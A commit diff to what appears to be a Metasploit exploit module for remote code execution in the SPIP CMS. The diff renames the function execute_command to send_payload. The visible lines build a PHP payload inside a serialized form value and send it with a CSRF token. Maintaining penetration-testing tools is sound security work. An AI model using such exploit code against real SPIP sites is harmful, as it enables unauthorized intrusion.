Rename execute_command to send_payload in line with its actual function (avoiding confusion with cmdstager)

Author: Chocapikk

modules/exploits/multi/http/spip_rce_form.rb

@@ -96,7 +96,7 @@ def check
     return Exploit::CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
   end
 
-  def execute_command(cmd, args = {})
+  def send_payload(cmd, args = {})
     send_request_cgi(
       {
         'uri' => args['uri'],
@@ -143,6 +143,6 @@ def exploit
     final_payload = "<?php #{phped_payload} ?>"
     oubli = "s:#{final_payload.length}:\"#{final_payload}\";"
 
-    execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })
+    send_payload(oubli, { 'uri' => uri, 'csrf' => csrf })
   end
 end